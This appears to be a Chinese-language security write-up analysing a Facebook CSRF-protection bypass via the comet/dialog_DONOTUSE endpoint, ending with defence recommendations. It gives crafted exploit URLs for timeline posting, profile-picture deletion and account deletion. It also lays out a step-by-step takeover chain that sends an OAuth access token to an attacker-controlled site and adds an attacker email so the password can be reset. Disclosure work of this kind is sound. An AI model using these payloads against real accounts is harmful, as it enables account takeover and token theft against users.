挖洞经验 | 绕过Facebook CSRF防护机制实现账户劫持
字数 1102 2025-08-18 11:37:57
Facebook CSRF防护机制绕过与账户劫持漏洞分析
漏洞概述
本漏洞涉及Facebook的CSRF(跨站请求伪造)防护机制绕过问题,攻击者能够构造特殊URL诱骗用户点击,从而实现对Facebook账户的劫持控制。漏洞存在于Facebook的comet/dialog_DONOTUSE端点中,该端点会自动生成并添加CSRF token(fb_dtsg)到请求中。
漏洞细节
漏洞端点
https://www.facebook.com/comet/dialog_DONOTUSE/?url=XXXX
其中XXXX可以是任何构造的对Facebook服务端发起POST请求的接口,系统会自动添加CSRF token。
攻击示例
- 时间线发帖攻击:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/api/graphql/%3fdoc_id=1740513229408093%26variables={"input":{"actor_id":{TARGET_ID},"client_mutation_id":"1","source":"WWW","audience":{"web_privacyx":"REDECATED"},"message":{"text":"TEXT","ranges":[]}}}
- 删除个人资料图片:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/profile/picture/remove_picture/%3fdelete_from_album=1%26profile_id={TARGET_ID}
- 欺骗删除账户:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/help/delete_account/dialog/%3f__asyncDialog=0%26locale=fr_FR
账户劫持技术分析
攻击流程
-
应用授权阶段:
- 构造URL让受害者授权攻击者的应用
- 授权后会重定向到
https://www.facebook.com/v3.2/dialog/oauth - 携带
access_token自动跳转到攻击者控制的网站
构造的授权URL:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/ajax/appcenter/redirect_to_app%3fapp_id={ATTACKER_APP}%26ref=appcenter_top_grossing%26redirect_uri=https%3a//www.facebook.com/v3.2/dialog/oauth%3fresponse_type%3dtoken%26client_id%3d{ATTACKER_APP}%26redirect_uri%3d{DOUBLE_URL_ENCODED_LINK}%26scope%3d&preview=0&fbs=125&sentence_id&gift_game=0&scopes[0]=email&gdpv4_source=dialog -
添加联系人信息:
- 攻击者网站收到访问token
- 创建邮箱并将受害者跳转到添加联系人的URL:
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next=/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK} -
确认邮箱添加:
- 攻击者查找Facebook发送的确认邮件中的链接:
https://www.facebook.com/confirmcontact.php?c={CODE}&z=0&gfid={HASH}- 使用
/confirm_code/dialog/submit/功能进行确认
-
重置密码:
- 新邮箱添加成功后,攻击者可通过邮箱重置密码实现账户劫持
技术要点
-
CSRF token自动添加:
comet/dialog_DONOTUSE端点会自动生成并添加fb_dtsgtoken- 绕过Facebook正常的CSRF防护机制
-
重定向保护绕过:
- 利用
next参数绕过Facebook的重定向保护 - 通过双重URL编码规避检测
- 利用
-
无交互授权:
- 利用
/ajax/appcenter/redirect_to_app实现无用户交互的应用授权
- 利用
-
联系人添加流程:
/add_contactpoint/dialog/submit/端点允许添加联系人无需密码确认- 结合
next参数实现自动化流程
防御建议
- 限制
comet/dialog_DONOTUSE端点的使用范围 - 对自动添加CSRF token的功能增加额外验证
- 加强重定向保护机制,防止
next参数滥用 - 对敏感操作(如添加联系人)增加二次验证
- 监控异常的应用授权行为
总结
该漏洞展示了Facebook防护机制中的多个薄弱环节被串联利用的可能性。攻击者通过精心构造的URL链,可以绕过CSRF防护、重定向保护等安全措施,最终实现账户劫持。这种攻击不需要特定目标,任何点击恶意链接的Facebook用户都可能成为受害者。